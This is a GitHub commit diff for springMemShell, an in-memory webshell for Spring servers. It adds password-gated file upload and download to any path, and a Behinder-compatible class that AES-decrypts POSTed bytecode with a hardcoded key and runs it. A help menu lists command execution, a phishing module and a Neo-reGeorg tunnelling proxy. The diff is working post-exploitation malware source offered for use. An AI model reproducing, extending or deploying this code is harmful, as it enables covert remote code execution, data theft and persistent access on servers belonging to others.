Skip to content

Commit 34c16f9

Browse files
committed
update upload and download
1 parent 099e03e commit 34c16f9

27 files changed

+392
-84
lines changed

.DS_Store

0 Bytes
Binary file not shown.

springMemShell/README.md

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -142,3 +142,37 @@ alert(1);
142142

143143
![image-20210412141215288](https://gitee.com/ethustdout/pics/raw/master/uPic/image-20210412141215288.png)
144144

145+
146+
147+
## 新功能+4
148+
149+
支持文件上传和下载
150+
151+
### 上传
152+
153+
访问`/?password=stdout&model=file`即可看到文件上传
154+
155+
![image-20210413175757797](https://gitee.com/ethustdout/pics/raw/master/uPic/image-20210413175757797.png)
156+
157+
例如:
158+
159+
- path: `/tmp/1.js`
160+
- file: `Mgo=`
161+
- mode: `overwrite`
162+
163+
会把`Mgo=`进行base64解密之后写入`/tmp/1.js`中。
164+
165+
由于文件大小限制,大文件(大于1M)切块之后用append模式进行上传。
166+
167+
168+
169+
### 下载
170+
171+
`/?password=stdout&model=file&action=download&path=[path]`
172+
173+
就会下载path指向的文件
174+
175+
例如:
176+
177+
- path=`/tmp/1.js`
178+

springMemShell/src/.DS_Store

-6 KB
Binary file not shown.

springMemShell/src/main/.DS_Store

-6 KB
Binary file not shown.
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package com.stdout.Models;
2+
3+
import com.stdout.Utils.Redefine.MyReader;
4+
import com.stdout.Utils.Redefine.MyRequest;
5+
import com.stdout.Utils.Redefine.MyServletAttributes;
6+
import com.stdout.Utils.Redefine.MySession;
7+
8+
import javax.crypto.Cipher;
9+
import javax.crypto.spec.SecretKeySpec;
10+
11+
public class BehinderShell {
12+
class U extends ClassLoader {
13+
U(ClassLoader c) {
14+
super(c);
15+
}
16+
public Class g(byte []b) {
17+
return super.defineClass(b,0,b.length);
18+
}
19+
}
20+
21+
public static boolean isStarted = false;
22+
23+
public void start(Object servlet) throws Exception {
24+
Object request = MyServletAttributes.getRequest(servlet);
25+
26+
if (MyRequest.getMethod(request).equals("POST")) {
27+
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
28+
String k = "e45e329feb5d925b";
29+
Object session = MyRequest.getSession(request);
30+
MySession.putValue(session, "u", k);
31+
Cipher c = Cipher.getInstance("AES");
32+
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
33+
Object reader = MyRequest.getReader(request);
34+
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(MyReader.readline(reader)))).newInstance().equals(servlet);
35+
}
36+
37+
}
38+
39+
public static void run(Object servlet) throws Exception {
40+
if (!BehinderShell.isStarted) {
41+
new BehinderShell().start(servlet);
42+
}
43+
}
44+
}
45+
46+
Lines changed: 57 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,65 @@
11
package com.stdout.Models;
22

3+
import com.stdout.Utils.Redefine.*;
4+
5+
import java.io.File;
6+
import java.io.FileInputStream;
7+
import java.io.FileOutputStream;
8+
import java.nio.ByteBuffer;
9+
import java.util.Base64;
10+
311
public class FileManager {
4-
public static String download(String path) {
5-
String result = "";
12+
public static void download(Object response, String path) throws Exception {
13+
try {
14+
MyResponse.setContentType(response, "multipart/form-data");
15+
MyResponse.setCharacterEncoding(response, "utf-8");
16+
File file = new File(path);
17+
String fileName = file.getName();
18+
MyResponse.setHeader(response, "Content-Disposition", "attachment;fileName=" + fileName);
19+
20+
ByteBuffer br = ByteBuffer.allocate(513);
21+
FileInputStream f = new FileInputStream(file);
22+
int byteRead = f.read(br.array());
23+
while (byteRead > 0) {
24+
byte[] data = new byte[byteRead];
25+
System.arraycopy(br.array(), 0, data, 0, byteRead);
26+
Object outputStream = MyResponse.getOutputStream(response);
27+
MyServletOutputStream.write(outputStream, data, 0, byteRead);
28+
br.clear();
29+
byteRead = f.read(br.array());
30+
}
31+
f.close();
32+
} catch (Exception e) {
33+
return;
34+
}
35+
}
636

37+
public static String uploadView() throws Exception {
38+
String result = MyReader.readSource("upload.html");
739

840
return result;
941
}
42+
43+
public static String upload(Object request) throws Exception {
44+
String result = "";
45+
try {
46+
String path = MyRequest.getParameter(request, "path");
47+
String file = MyRequest.getParameter(request, "file").replaceAll("\n", "").replaceAll("\r", "");
48+
String mode = MyRequest.getParameter(request, "mode");
49+
FileOutputStream f;
50+
if (mode.equals("append")) {
51+
f = new FileOutputStream(path, true);
52+
} else {
53+
f = new FileOutputStream(path, false);
54+
}
55+
f.write(Base64.getDecoder().decode(file));
56+
f.close();
57+
result += "upload success, you file is at ==> " + path;
58+
} catch (Exception e) {
59+
result += e.getMessage();
60+
e.printStackTrace();
61+
result += "upload failed, please check the content";
62+
}
63+
return result;
64+
}
1065
}

springMemShell/src/main/java/com/stdout/Models/Fish.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
package com.stdout.Models;
22

3-
import com.stdout.Utils.MyReader;
3+
import com.stdout.Utils.Redefine.MyReader;
44

55
public class Fish {
66
public static boolean isWantFish = false;
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
package com.stdout.Models;
2+
3+
public class Helper {
4+
public static String help() {
5+
String result = "";
6+
result += "models: \n";
7+
8+
result += "\t 1. exec ==> execute system command\n";
9+
result += "\t\t param: cmd\n\n";
10+
11+
result += "\t 2. exit ==> remove the SpringMemShell\n";
12+
result += "\t\t param: \n\n";
13+
14+
result += "\t 3. fish ==> static fish\n";
15+
result += "\t\t action ==> start\n";
16+
result += "\t\t\t param: target file\n\n";
17+
result += "\t\t action ==> stop\n";
18+
result += "\t\t\t param: \n\n";
19+
result += "\t\t action ==> show\n";
20+
result += "\t\t\t param: \n\n";
21+
22+
result += "\t 4. proxy ==> Neo-reGeorg proxy\n";
23+
result += "\t\t param: \n\n";
24+
25+
result += "\t 5. file ==> file manager\n";
26+
result += "\t\t action ==> upload\n" +
27+
"<font color='red'>" +
28+
"Notice: upload file is at (use post)password=stdout&model=file" +
29+
"</font>";
30+
result += "\t\t action ==> download\n";
31+
result += "\t\t\t param: path\n\n";
32+
33+
34+
35+
36+
37+
return result;
38+
}
39+
}

springMemShell/src/main/java/com/stdout/Models/SpringProxy.java

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,9 @@
11
package com.stdout.Models;
22

3-
import com.stdout.Utils.*;
3+
import com.stdout.Utils.Redefine.MyRequest;
4+
import com.stdout.Utils.Redefine.MyResponse;
5+
import com.stdout.Utils.Redefine.MyServletInputStream;
6+
import com.stdout.Utils.Redefine.MySession;
47

58
import java.net.InetSocketAddress;
69
import java.nio.ByteBuffer;
@@ -10,8 +13,8 @@
1013
import static com.stdout.Utils.B64.b64en;
1114

1215
public class SpringProxy {
13-
14-
public void doProxy(Object request, Object response) throws Exception {
16+
// usage for Neo-reGeorg
17+
public static void doProxy(Object request, Object response) throws Exception {
1518
MyResponse.resetBuffer(response);
1619
MyResponse.setStatus(response, 200);
1720
String cmd = MyRequest.getHeader(request, "Clgpbxohhlnb");

springMemShell/src/main/java/com/stdout/Utils/B64.java

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,9 @@
44

55
public class B64 {
66
private static char[] en = "1nAo76ptVK5Ja/3gSuErjTqQOmkvyY9XGMdRFzCZDUHPl8f2BhIwxciN4L+0bsWe".toCharArray();
7+
8+
private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,58,-1,-1,-1,13,59,0,47,14,56,10,5,4,45,30,-1,-1,-1,-1,-1,-1,-1,2,48,38,40,18,36,32,42,50,11,9,57,33,55,24,43,23,35,16,21,41,8,62,31,29,39,-1,-1,-1,-1,-1,-1,12,60,53,34,63,46,15,49,54,20,26,44,25,1,3,6,22,19,61,7,17,27,51,52,28,37,-1,-1,-1,-1,-1};
9+
710
public static String b64en(byte[] data) {
811
StringBuffer sb = new StringBuffer();
912
int len = data.length;
@@ -36,7 +39,7 @@ public static String b64en(byte[] data) {
3639
}
3740
return sb.toString();
3841
}
39-
private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,58,-1,-1,-1,13,59,0,47,14,56,10,5,4,45,30,-1,-1,-1,-1,-1,-1,-1,2,48,38,40,18,36,32,42,50,11,9,57,33,55,24,43,23,35,16,21,41,8,62,31,29,39,-1,-1,-1,-1,-1,-1,12,60,53,34,63,46,15,49,54,20,26,44,25,1,3,6,22,19,61,7,17,27,51,52,28,37,-1,-1,-1,-1,-1};
42+
4043
public static byte[] b64de(String str) {
4144
byte[] data = str.getBytes();
4245
int len = data.length;

0 commit comments

Comments
 (0)